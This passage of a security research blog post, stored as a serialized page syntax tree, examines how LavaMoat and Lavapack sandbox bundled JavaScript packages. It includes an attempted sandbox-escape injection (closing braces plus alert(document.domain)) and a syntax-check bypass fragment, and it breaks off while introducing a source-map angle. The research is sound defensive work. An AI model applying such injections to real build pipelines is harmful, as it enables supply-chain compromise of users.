package.",{"type":23,"tag":24,"props":46792,"children":46793},{},[46794,46796,46803],{"type":28,"value":46795},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":31,"props":46797,"children":46800},{"href":46798,"rel":46799},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[35],[46801],{"type":28,"value":46802},"walking the modules",{"type":28,"value":46804}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":18130,"props":46806,"children":46808},{"id":46807},"scuttling",[46809],{"type":28,"value":46406},{"type":23,"tag":24,"props":46811,"children":46812},{},[46813,46815,46821],{"type":28,"value":46814},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":94,"props":46816,"children":46818},{"className":46817},[],[46819],{"type":28,"value":46820},"GlobalThis",{"type":28,"value":46822}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":24,"props":46824,"children":46825},{},[46826,46828,46835],{"type":28,"value":46827},"For example, ",{"type":23,"tag":31,"props":46829,"children":46832},{"href":46830,"rel":46831},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[35],[46833],{"type":28,"value":46834},"here",{"type":28,"value":46836}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":304,"props":46838,"children":46840},{"className":30611,"code":46839,"language":30613,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[46841],{"type":23,"tag":94,"props":46842,"children":46843},{"__ignoreMap":7},[46844,46873,46923,46982,46989,47061],{"type":23,"tag":314,"props":46845,"children":46846},{"class":316,"line":317},[46847,46851,46855,46860,46864,46869],{"type":23,"tag":314,"props":46848,"children":46849},{"style":2284},[46850],{"type":28,"value":11527},{"type":23,"tag":314,"props":46852,"children":46853},{"style":338},[46854],{"type":28,"value":2324},{"type":23,"tag":314,"props":46856,"children":46857},{"style":360},[46858],{"type":28,"value":46859},"scuttleOpts",{"type":23,"tag":314,"props":46861,"children":46862},{"style":338},[46863],{"type":28,"value":282},{"type":23,"tag":314,"props":46865,"children":46866},{"style":360},[46867],{"type":28,"value":46868},"enabled",{"type":23,"tag":314,"props":46870,"children":46871},{"style":338},[46872],{"type":28,"value":367},{"type":23,"tag":314,"props":46874,"children":46875},{"class":316,"line":370},[46876,46880,46884,46888,46893,46897,46902,46906,46910,46914,46919],{"type":23,"tag":314,"props":46877,"children":46878},{"style":2284},[46879],{"type":28,"value":38534},{"type":23,"tag":314,"props":46881,"children":46882},{"style":338},[46883],{"type":28,"value":2324},{"type":23,"tag":314,"props":46885,"children":46886},{"style":354},[46887],{"type":28,"value":19859},{"type":23,"tag":314,"props":46889,"children":46890},{"style":360},[46891],{"type":28,"value":46892},"Array",{"type":23,"tag":314,"props":46894,"children":46895},{"style":338},[46896],{"type":28,"value":282},{"type":23,"tag":314,"props":46898,"children":46899},{"style":332},[46900],{"type":28,"value":46901},"isArray",{"type":23,"tag":314,"props":46903,"children":46904},{"style":338},[46905],{"type":28,"value":341},{"type":23,"tag":314,"props":46907,"children":46908},{"style":360},[46909],{"type":28,"value":46859},{"type":23,"tag":314,"props":46911,"children":46912},{"style":338},[46913],{"type":28,"value":282},{"type":23,"tag":314,"props":46915,"children":46916},{"style":360},[46917],{"type":28,"value":46918},"exceptions",{"type":23,"tag":314,"props":46920,"children":46921},{"style":338},[46922],{"type":28,"value":34443},{"type":23,"tag":314,"props":46924,"children":46925},{"class":316,"line":380},[46926,46931,46935,46939,46943,46948,46952,46956,46961,46965,46969,46973,46978],{"type":23,"tag":314,"props":46927,"children":46928},{"style":2284},[46929],{"type":28,"value":46930}," throw",{"type":23,"tag":314,"props":46932,"children":46933},{"style":321},[46934],{"type":28,"value":31180},{"type":23,"tag":314,"props":46936,"children":46937},{"style":332},[46938],{"type":28,"value":39531},{"type":23,"tag":314,"props":46940,"children":46941},{"style":338},[46942],{"type":28,"value":341},{"type":23,"tag":314,"props":46944,"children":46945},{"style":1245},[46946],{"type":28,"value":46947},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":314,"props":46949,"children":46950},{"style":321},[46951],{"type":28,"value":33357},{"type":23,"tag":314,"props":46953,"children":46954},{"style":321},[46955],{"type":28,"value":30651},{"type":23,"tag":314,"props":46957,"children":46958},{"style":360},[46959],{"type":28,"value":46960}," scuttleOpts",{"type":23,"tag":314,"props":46962,"children":46963},{"style":354},[46964],{"type":28,"value":282},{"type":23,"tag":314,"props":46966,"children":46967},{"style":360},[46968],{"type":28,"value":46918},{"type":23,"tag":314,"props":46970,"children":46971},{"style":321},[46972],{"type":28,"value":33389},{"type":23,"tag":314,"props":46974,"children":46975},{"style":1245},[46976],{"type":28,"value":46977},"\"`",{"type":23,"tag":314,"props":46979,"children":46980},{"style":338},[46981],{"type":28,"value":2414},{"type":23,"tag":314,"props":46983,"children":46984},{"class":316,"line":1091},[46985],{"type":23,"tag":314,"props":46986,"children":46987},{"style":338},[46988],{"type":28,"value":11912},{"type":23,"tag":314,"props":46990,"children":46991},{"class":316,"line":1141},[46992,46997,47001,47006,47010,47015,47019,47024,47028,47033,47037,47041,47045,47049,47053,47057],{"type":23,"tag":314,"props":46993,"children":46994},{"style":360},[46995],{"type":28,"value":46996}," scuttleOpts",{"type":23,"tag":314,"props":46998,"children":46999},{"style":338},[47000],{"type":28,"value":282},{"type":23,"tag":314,"props":47002,"children":47003},{"style":332},[47004],{"type":28,"value":47005},"scuttlerFunc",{"type":23,"tag":314,"props":47007,"children":47008},{"style":338},[47009],{"type":28,"value":341},{"type":23,"tag":314,"props":47011,"children":47012},{"style":360},[47013],{"type":28,"value":47014},"globalRef",{"type":23,"tag":314,"props":47016,"children":47017},{"style":338},[47018],{"type":28,"value":778},{"type":23,"tag":314,"props":47020,"children":47021},{"style":360},[47022],{"type":28,"value":47023},"realm",{"type":23,"tag":314,"props":47025,"children":47026},{"style":321},[47027],{"type":28,"value":26999},{"type":23,"tag":314,"props":47029,"children":47030},{"style":332},[47031],{"type":28,"value":47032}," performScuttleGlobalThis",{"type":23,"tag":314,"props":47034,"children":47035},{"style":338},[47036],{"type":28,"value":341},{"type":23,"tag":314,"props":47038,"children":47039},{"style":360},[47040],{"type":28,"value":47023},{"type":23,"tag":314,"props":47042,"children":47043},{"style":338},[47044],{"type":28,"value":778},{"type":23,"tag":314,"props":47046,"children":47047},{"style":360},[47048],{"type":28,"value":46859},{"type":23,"tag":314,"props":47050,"children":47051},{"style":338},[47052],{"type":28,"value":282},{"type":23,"tag":314,"props":47054,"children":47055},{"style":360},[47056],{"type":28,"value":46918},{"type":23,"tag":314,"props":47058,"children":47059},{"style":338},[47060],{"type":28,"value":18949},{"type":23,"tag":314,"props":47062,"children":47063},{"class":316,"line":1173},[47064],{"type":23,"tag":314,"props":47065,"children":47066},{"style":338},[47067],{"type":28,"value":2610},{"type":23,"tag":24,"props":47069,"children":47070},{},[47071,47073,47079,47081,47087],{"type":28,"value":47072},"Subsequently, the code defines a ",{"type":23,"tag":31,"props":47074,"children":47077},{"href":47075,"rel":47076},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[35],[47078],{"type":28,"value":30625},{"type":28,"value":47080}," called ",{"type":23,"tag":94,"props":47082,"children":47084},{"className":47083},[],[47085],{"type":28,"value":47086},"generateScuttleOpts",{"type":28,"value":47088}," that creates and returns an options object.",{"type":23,"tag":24,"props":47090,"children":47091},{},[47092,47094,47100,47101,47107,47109,47114,47116,47122],{"type":28,"value":47093},"Finally, the ",{"type":23,"tag":94,"props":47095,"children":47097},{"className":47096},[],[47098],{"type":28,"value":47099},"performScuttleGlobalThis",{"type":28,"value":5713},{"type":23,"tag":31,"props":47102,"children":47105},{"href":47103,"rel":47104},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[35],[47106],{"type":28,"value":30625},{"type":28,"value":47108}," modifies the properties of the global object (",{"type":23,"tag":94,"props":47110,"children":47112},{"className":47111},[],[47113],{"type":28,"value":47014},{"type":28,"value":47115},"). It starts by creating an array ",{"type":23,"tag":94,"props":47117,"children":47119},{"className":47118},[],[47120],{"type":28,"value":47121},"props",{"type":28,"value":47123},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":61,"props":47125,"children":47127},{"id":47126},"hacking-webpacks",[47128],{"type":28,"value":47129},"Hacking Webpacks",{"type":23,"tag":24,"props":47131,"children":47132},{},[47133],{"type":28,"value":47134},"Now let's get to the fun stuff.",{"type":23,"tag":24,"props":47136,"children":47137},{},[47138],{"type":28,"value":47139},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":304,"props":47141,"children":47143},{"className":30611,"code":47142,"language":30613,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[47144],{"type":23,"tag":94,"props":47145,"children":47146},{"__ignoreMap":7},[47147,47199,47211,47231,47248,47256,47264,47272,47280,47301,47309,47317,47325,47332,47339,47346],{"type":23,"tag":314,"props":47148,"children":47149},{"class":316,"line":317},[47150,47154,47159,47163,47168,47172,47177,47181,47186,47190,47195],{"type":23,"tag":314,"props":47151,"children":47152},{"style":321},[47153],{"type":28,"value":35437},{"type":23,"tag":314,"props":47155,"children":47156},{"style":360},[47157],{"type":28,"value":47158}," filename",{"type":23,"tag":314,"props":47160,"children":47161},{"style":354},[47162],{"type":28,"value":1237},{"type":23,"tag":314,"props":47164,"children":47165},{"style":332},[47166],{"type":28,"value":47167}," encodeURI",{"type":23,"tag":314,"props":47169,"children":47170},{"style":338},[47171],{"type":28,"value":341},{"type":23,"tag":314,"props":47173,"children":47174},{"style":332},[47175],{"type":28,"value":47176},"String",{"type":23,"tag":314,"props":47178,"children":47179},{"style":338},[47180],{"type":28,"value":341},{"type":23,"tag":314,"props":47182,"children":47183},{"style":360},[47184],{"type":28,"value":47185},"moduleData",{"type":23,"tag":314,"props":47187,"children":47188},{"style":338},[47189],{"type":28,"value":282},{"type":23,"tag":314,"props":47191,"children":47192},{"style":360},[47193],{"type":28,"value":47194},"file",{"type":23,"tag":314,"props":47196,"children":47197},{"style":338},[47198],{"type":28,"value":18949},{"type":23,"tag":314,"props":47200,"children":47201},{"class":316,"line":370},[47202,47206],{"type":23,"tag":314,"props":47203,"children":47204},{"style":321},[47205],{"type":28,"value":7110},{"type":23,"tag":314,"props":47207,"children":47208},{"style":360},[47209],{"type":28,"value":47210}," moduleWrapperSource\n",{"type":23,"tag":314,"props":47212,"children":47213},{"class":316,"line":380},[47214,47218,47222,47227],{"type":23,"tag":314,"props":47215,"children":47216},{"style":2284},[47217],{"type":28,"value":30642},{"type":23,"tag":314,"props":47219,"children":47220},{"style":338},[47221],{"type":28,"value":2324},{"type":23,"tag":314,"props":47223,"children":47224},{"style":360},[47225],{"type":28,"value":47226},"bundleWithPrecompiledModules",{"type":23,"tag":314,"props":47228,"children":47229},{"style":338},[47230],{"type":28,"value":367},{"type":23,"tag":314,"props":47232,"children":47233},{"class":316,"line":1091},[47234,47239,47243],{"type":23,"tag":314,"props":47235,"children":47236},{"style":360},[47237],{"type":28,"value":47238}," moduleWrapperSource",{"type":23,"tag":314,"props":47240,"children":47241},{"style":354},[47242],{"type":28,"value":1237},{"type":23,"tag":314,"props":47244,"children":47245},{"style":1245},[47246],{"type":28,"value":47247}," `function(){\n",{"type":23,"tag":314,"props":47249,"children":47250},{"class":316,"line":1141},[47251],{"type":23,"tag":314,"props":47252,"children":47253},{"style":1245},[47254],{"type":28,"value":47255}," with (this.scopeTerminator) {\n",{"type":23,"tag":314,"props":47257,"children":47258},{"class":316,"line":1173},[47259],{"type":23,"tag":314,"props":47260,"children":47261},{"style":1245},[47262],{"type":28,"value":47263}," with (this.globalThis) {\n",{"type":23,"tag":314,"props":47265,"children":47266},{"class":316,"line":1208},[47267],{"type":23,"tag":314,"props":47268,"children":47269},{"style":1245},[47270],{"type":28,"value":47271}," return function() {\n",{"type":23,"tag":314,"props":47273,"children":47274},{"class":316,"line":1216},[47275],{"type":23,"tag":314,"props":47276,"children":47277},{"style":1245},[47278],{"type":28,"value":47279}," 'use strict';\n",{"type":23,"tag":314,"props":47281,"children":47282},{"class":316,"line":1301},[47283,47288,47292,47297],{"type":23,"tag":314,"props":47284,"children":47285},{"style":1245},[47286],{"type":28,"value":47287}," // source: ",{"type":23,"tag":314,"props":47289,"children":47290},{"style":321},[47291],{"type":28,"value":33357},{"type":23,"tag":314,"props":47293,"children":47294},{"style":360},[47295],{"type":28,"value":47296},"filename",{"type":23,"tag":314,"props":47298,"children":47299},{"style":321},[47300],{"type":28,"value":386},{"type":23,"tag":314,"props":47302,"children":47303},{"class":316,"line":1343},[47304],{"type":23,"tag":314,"props":47305,"children":47306},{"style":1245},[47307],{"type":28,"value":47308}," return function (require, module, exports) {\n",{"type":23,"tag":314,"props":47310,"children":47311},{"class":316,"line":1351},[47312],{"type":23,"tag":314,"props":47313,"children":47314},{"style":1245},[47315],{"type":28,"value":47316}," __MODULE_CONTENT__\n",{"type":23,"tag":314,"props":47318,"children":47319},{"class":316,"line":1387},[47320],{"type":23,"tag":314,"props":47321,"children":47322},{"style":1245},[47323],{"type":28,"value":47324}," };\n",{"type":23,"tag":314,"props":47326,"children":47327},{"class":316,"line":1422},[47328],{"type":23,"tag":314,"props":47329,"children":47330},{"style":1245},[47331],{"type":28,"value":7954},{"type":23,"tag":314,"props":47333,"children":47334},{"class":316,"line":1430},[47335],{"type":23,"tag":314,"props":47336,"children":47337},{"style":1245},[47338],{"type":28,"value":2602},{"type":23,"tag":314,"props":47340,"children":47341},{"class":316,"line":1452},[47342],{"type":23,"tag":314,"props":47343,"children":47344},{"style":1245},[47345],{"type":28,"value":11912},{"type":23,"tag":314,"props":47347,"children":47348},{"class":316,"line":1497},[47349],{"type":23,"tag":314,"props":47350,"children":47351},{"style":1245},[47352],{"type":28,"value":47353}," }`\n",{"type":23,"tag":24,"props":47355,"children":47356},{},[47357,47359,47365,47367,47373],{"type":28,"value":47358},"Lavapack uses ",{"type":23,"tag":94,"props":47360,"children":47362},{"className":47361},[],[47363],{"type":28,"value":47364},"with()",{"type":28,"value":47366}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":94,"props":47368,"children":47370},{"className":47369},[],[47371],{"type":28,"value":47372},"__MODULE_CONTENT__",{"type":28,"value":47374}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":837,"props":47376,"children":47378},{"id":47377},"injection-not-so-simple",[47379],{"type":28,"value":47380},"Injection? Not So Simple",{"type":23,"tag":24,"props":47382,"children":47383},{},[47384,47386,47391],{"type":28,"value":47385},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":94,"props":47387,"children":47389},{"className":47388},[],[47390],{"type":28,"value":11899},{"type":28,"value":47392}," environment:",{"type":23,"tag":304,"props":47394,"children":47396},{"className":30611,"code":47395,"language":30613,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[47397],{"type":23,"tag":94,"props":47398,"children":47399},{"__ignoreMap":7},[47400,47413,47425,47437,47449,47456],{"type":23,"tag":314,"props":47401,"children":47402},{"class":316,"line":317},[47403,47408],{"type":23,"tag":314,"props":47404,"children":47405},{"style":338},[47406],{"type":28,"value":47407}," } ",{"type":23,"tag":314,"props":47409,"children":47410},{"style":374},[47411],{"type":28,"value":47412},"// end function 1\n",{"type":23,"tag":314,"props":47414,"children":47415},{"class":316,"line":370},[47416,47420],{"type":23,"tag":314,"props":47417,"children":47418},{"style":338},[47419],{"type":28,"value":30716},{"type":23,"tag":314,"props":47421,"children":47422},{"style":374},[47423],{"type":28,"value":47424},"// end function 2\n",{"type":23,"tag":314,"props":47426,"children":47427},{"class":316,"line":380},[47428,47432],{"type":23,"tag":314,"props":47429,"children":47430},{"style":338},[47431],{"type":28,"value":35451},{"type":23,"tag":314,"props":47433,"children":47434},{"style":374},[47435],{"type":28,"value":47436},"// end with 1\n",{"type":23,"tag":314,"props":47438,"children":47439},{"class":316,"line":1091},[47440,47444],{"type":23,"tag":314,"props":47441,"children":47442},{"style":338},[47443],{"type":28,"value":46123},{"type":23,"tag":314,"props":47445,"children":47446},{"style":374},[47447],{"type":28,"value":47448},"// end with 2\n",{"type":23,"tag":314,"props":47450,"children":47451},{"class":316,"line":1141},[47452],{"type":23,"tag":314,"props":47453,"children":47454},{"emptyLinePlaceholder":18},[47455],{"type":28,"value":1088},{"type":23,"tag":314,"props":47457,"children":47458},{"class":316,"line":1173},[47459,47463,47467,47471,47475,47479],{"type":23,"tag":314,"props":47460,"children":47461},{"style":332},[47462],{"type":28,"value":31945},{"type":23,"tag":314,"props":47464,"children":47465},{"style":338},[47466],{"type":28,"value":341},{"type":23,"tag":314,"props":47468,"children":47469},{"style":360},[47470],{"type":28,"value":31955},{"type":23,"tag":314,"props":47472,"children":47473},{"style":338},[47474],{"type":28,"value":282},{"type":23,"tag":314,"props":47476,"children":47477},{"style":360},[47478],{"type":28,"value":31965},{"type":23,"tag":314,"props":47480,"children":47481},{"style":338},[47482],{"type":28,"value":2414},{"type":23,"tag":24,"props":47484,"children":47485},{},[47486,47488,47494,47496,47503],{"type":28,"value":47487},"However, when we tried to bundle it, a ",{"type":23,"tag":94,"props":47489,"children":47491},{"className":47490},[],[47492],{"type":28,"value":47493},"ParseError",{"type":28,"value":47495}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":31,"props":47497,"children":47500},{"href":47498,"rel":47499},"https://github.com/browserify/browserify",[35],[47501],{"type":28,"value":47502},"browserify",{"type":28,"value":47504},", which has a syntax check before replacing the code.",{"type":23,"tag":24,"props":47506,"children":47507},{},[47508,47510,47516,47518,47524,47526,47532,47534,47539],{"type":28,"value":47509},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":94,"props":47511,"children":47513},{"className":47512},[],[47514],{"type":28,"value":47515},"syntax",{"type":28,"value":47517}," stage on it's pipeline, and uses the ",{"type":23,"tag":94,"props":47519,"children":47521},{"className":47520},[],[47522],{"type":28,"value":47523},"syntax-error",{"type":28,"value":47525}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":94,"props":47527,"children":47529},{"className":47528},[],[47530],{"type":28,"value":47531},"pack",{"type":28,"value":47533}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":94,"props":47535,"children":47537},{"className":47536},[],[47538],{"type":28,"value":47515},{"type":28,"value":47540},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":24,"props":47542,"children":47543},{},[47544],{"type":23,"tag":197,"props":47545,"children":47548},{"alt":47546,"src":47547},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":24,"props":47550,"children":47551},{},[47552,47553,47558,47560,47565],{"type":28,"value":92},{"type":23,"tag":94,"props":47554,"children":47556},{"className":47555},[],[47557],{"type":28,"value":47523},{"type":28,"value":47559}," package performs a syntax check by using ",{"type":23,"tag":94,"props":47561,"children":47563},{"className":47562},[],[47564],{"type":28,"value":36797},{"type":28,"value":47566}," with function hoisting:",{"type":23,"tag":304,"props":47568,"children":47570},{"className":30611,"code":47569,"language":30613,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[47571],{"type":23,"tag":94,"props":47572,"children":47573},{"__ignoreMap":7},[47574,47586,47636,47647,47654,47675,47716,47776,47817],{"type":23,"tag":314,"props":47575,"children":47576},{"class":316,"line":317},[47577,47582],{"type":23,"tag":314,"props":47578,"children":47579},{"style":2284},[47580],{"type":28,"value":47581},"try",{"type":23,"tag":314,"props":47583,"children":47584},{"style":338},[47585],{"type":28,"value":1449},{"type":23,"tag":314,"props":47587,"children":47588},{"class":316,"line":370},[47589,47594,47598,47603,47607,47612,47616,47621,47627,47632],{"type":23,"tag":314,"props":47590,"children":47591},{"style":332},[47592],{"type":28,"value":47593}," eval",{"type":23,"tag":314,"props":47595,"children":47596},{"style":338},[47597],{"type":28,"value":341},{"type":23,"tag":314,"props":47599,"children":47600},{"style":1245},[47601],{"type":28,"value":47602},"'throw \"STOP\"; (function () { '",{"type":23,"tag":314,"props":47604,"children":47605},{"style":354},[47606],{"type":28,"value":1572},{"type":23,"tag":314,"props":47608,"children":47609},{"style":360},[47610],{"type":28,"value":47611}," src",{"type":23,"tag":314,"props":47613,"children":47614},{"style":354},[47615],{"type":28,"value":1572},{"type":23,"tag":314,"props":47617,"children":47618},{"style":1245},[47619],{"type":28,"value":47620}," '",{"type":23,"tag":314,"props":47622,"children":47624},{"style":47623},"--shiki-default:#D7BA7D",[47625],{"type":28,"value":47626},"\\n",{"type":23,"tag":314,"props":47628,"children":47629},{"style":1245},[47630],{"type":28,"value":47631},"})()'",{"type":23,"tag":314,"props":47633,"children":47634},{"style":338},[47635],{"type":28,"value":1025},{"type":23,"tag":314,"props":47637,"children":47638},{"class":316,"line":380},[47639,47643],{"type":23,"tag":314,"props":47640,"children":47641},{"style":2284},[47642],{"type":28,"value":16228},{"type":23,"tag":314,"props":47644,"children":47645},{"style":338},[47646],{"type":28,"value":2278},{"type":23,"tag":314,"props":47648,"children":47649},{"class":316,"line":1091},[47650],{"type":23,"tag":314,"props":47651,"children":47652},{"style":338},[47653],{"type":28,"value":386},{"type":23,"tag":314,"props":47655,"children":47656},{"class":316,"line":1141},[47657,47662,47666,47671],{"type":23,"tag":314,"props":47658,"children":47659},{"style":2284},[47660],{"type":28,"value":47661},"catch",{"type":23,"tag":314,"props":47663,"children":47664},{"style":338},[47665],{"type":28,"value":2324},{"type":23,"tag":314,"props":47667,"children":47668},{"style":360},[47669],{"type":28,"value":47670},"err",{"type":23,"tag":314,"props":47672,"children":47673},{"style":338},[47674],{"type":28,"value":367},{"type":23,"tag":314,"props":47676,"children":47677},{"class":316,"line":1173},[47678,47682,47686,47690,47694,47699,47703,47708,47712],{"type":23,"tag":314,"props":47679,"children":47680},{"style":2284},[47681],{"type":28,"value":11527},{"type":23,"tag":314,"props":47683,"children":47684},{"style":338},[47685],{"type":28,"value":2324},{"type":23,"tag":314,"props":47687,"children":47688},{"style":360},[47689],{"type":28,"value":47670},{"type":23,"tag":314,"props":47691,"children":47692},{"style":354},[47693],{"type":28,"value":30670},{"type":23,"tag":314,"props":47695,"children":47696},{"style":1245},[47697],{"type":28,"value":47698}," 'STOP'",{"type":23,"tag":314,"props":47700,"children":47701},{"style":338},[47702],{"type":28,"value":2343},{"type":23,"tag":314,"props":47704,"children":47705},{"style":2284},[47706],{"type":28,"value":47707},"return",{"type":23,"tag":314,"props":47709,"children":47710},{"style":321},[47711],{"type":28,"value":38585},{"type":23,"tag":314,"props":47713,"children":47714},{"style":338},[47715],{"type":28,"value":2278},{"type":23,"tag":314,"props":47717,"children":47718},{"class":316,"line":1208},[47719,47723,47727,47731,47735,47740,47744,47749,47754,47759,47763,47767,47772],{"type":23,"tag":314,"props":47720,"children":47721},{"style":2284},[47722],{"type":28,"value":11527},{"type":23,"tag":314,"props":47724,"children":47725},{"style":338},[47726],{"type":28,"value":2324},{"type":23,"tag":314,"props":47728,"children":47729},{"style":360},[47730],{"type":28,"value":47670},{"type":23,"tag":314,"props":47732,"children":47733},{"style":338},[47734],{"type":28,"value":282},{"type":23,"tag":314,"props":47736,"children":47737},{"style":360},[47738],{"type":28,"value":47739},"constructor",{"type":23,"tag":314,"props":47741,"children":47742},{"style":338},[47743],{"type":28,"value":282},{"type":23,"tag":314,"props":47745,"children":47746},{"style":360},[47747],{"type":28,"value":47748},"name",{"type":23,"tag":314,"props":47750,"children":47751},{"style":354},[47752],{"type":28,"value":47753}," !==",{"type":23,"tag":314,"props":47755,"children":47756},{"style":1245},[47757],{"type":28,"value":47758}," 'SyntaxError'",{"type":23,"tag":314,"props":47760,"children":47761},{"style":338},[47762],{"type":28,"value":2343},{"type":23,"tag":314,"props":47764,"children":47765},{"style":2284},[47766],{"type":28,"value":47707},{"type":23,"tag":314,"props":47768,"children":47769},{"style":360},[47770],{"type":28,"value":47771}," err",{"type":23,"tag":314,"props":47773,"children":47774},{"style":338},[47775],{"type":28,"value":2278},{"type":23,"tag":314,"props":47777,"children":47778},{"class":316,"line":1216},[47779,47783,47788,47792,47796,47800,47804,47808,47813],{"type":23,"tag":314,"props":47780,"children":47781},{"style":2284},[47782],{"type":28,"value":16228},{"type":23,"tag":314,"props":47784,"children":47785},{"style":332},[47786],{"type":28,"value":47787}," errorInfo",{"type":23,"tag":314,"props":47789,"children":47790},{"style":338},[47791],{"type":28,"value":341},{"type":23,"tag":314,"props":47793,"children":47794},{"style":360},[47795],{"type":28,"value":31917},{"type":23,"tag":314,"props":47797,"children":47798},{"style":338},[47799],{"type":28,"value":778},{"type":23,"tag":314,"props":47801,"children":47802},{"style":360},[47803],{"type":28,"value":47194},{"type":23,"tag":314,"props":47805,"children":47806},{"style":338},[47807],{"type":28,"value":778},{"type":23,"tag":314,"props":47809,"children":47810},{"style":360},[47811],{"type":28,"value":47812},"opts",{"type":23,"tag":314,"props":47814,"children":47815},{"style":338},[47816],{"type":28,"value":1025},{"type":23,"tag":314,"props":47818,"children":47819},{"class":316,"line":1301},[47820],{"type":23,"tag":314,"props":47821,"children":47822},{"style":338},[47823],{"type":28,"value":386},{"type":23,"tag":24,"props":47825,"children":47826},{},[47827,47829,47833,47835,47841,47843,47848],{"type":28,"value":47828},"Interestingly, it ",{"type":23,"tag":186,"props":47830,"children":47831},{},[47832],{"type":28,"value":3228},{"type":28,"value":47834}," possible to inject a ",{"type":23,"tag":94,"props":47836,"children":47838},{"className":47837},[],[47839],{"type":28,"value":47840},"}); (() => {",{"type":28,"value":47842}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":94,"props":47844,"children":47846},{"className":47845},[],[47847],{"type":28,"value":47364},{"type":28,"value":47849}," sandbox of Lavapack.",{"type":23,"tag":837,"props":47851,"children":47853},{"id":47852},"sourcemap-the-syntax-killer",[47854],{"type":28,"value":47855},"SourceMap: The Syntax Killer",{"type":23,"tag":24,"props":47857,"children":47858},{},[47859,47861,47868],{"type":28,"value":47860},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":31,"props":47862,"children":47865},{"href":47863,"rel":47864},"https://www.npmjs.com/package/convert-source-map",[35],[47866],{"type":28,"value":47867},"convert-source-map",{"type":28,"value":47869}," npm package:",{"type":23,"tag":304,"props":47871,"children":47873},{"className":30611,"code":47872,"language":30613,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[47874],{"type":23,"tag":94,"props":47875,"children":47876},{"__ignoreMap":7},[47877,47901,47943,47951,47992,48033,48061],{"type":23,"tag":314,"props":47878,"children":47879},{"class":316,"line":317},[47880,47884,47889,47893,47897],{"type":23,"tag":314,"props":47881,"children":47882},{"style":321},[47883],{"type":28,"value":30625},{"type":23,"tag":314,"props":47885,"children":47886},{"style":332},[47887],{"type":28,"value":47888}," extractSourceMaps",{"type":23,"tag":314,"props":47890,"children":47891},{"style":338},[47892],{"type":28,"value":341},{"type":23,"tag":314,"props":47894,"children":47895},{"style":360},[47896],{"type":28,"value":37263},{"type":23,"tag":314,"props":47898,"children":47899},{"style":338},[47900],{"type":28,"value":367},{"type":23,"tag":314,"props":47902,"children":47903},{"class":316,"line":370},[47904,47908,47913,47917,47922,47926,47931,47935,47939],{"type":23,"tag":314,"props":47905,"children":47906},{"style":321},[47907],{"type":28,"value":35437},{"type":23,"tag":314,"props":47909,"children":47910},{"style":360},[47911],{"type":28,"value":47912}," converter",{"type":23,"tag":314,"props":47914,"children":47915},{"style":354},[47916],{"type":28,"value":1237},{"type":23,"tag":314,"props":47918,"children":47919},{"style":360},[47920],{"type":28,"value":47921}," 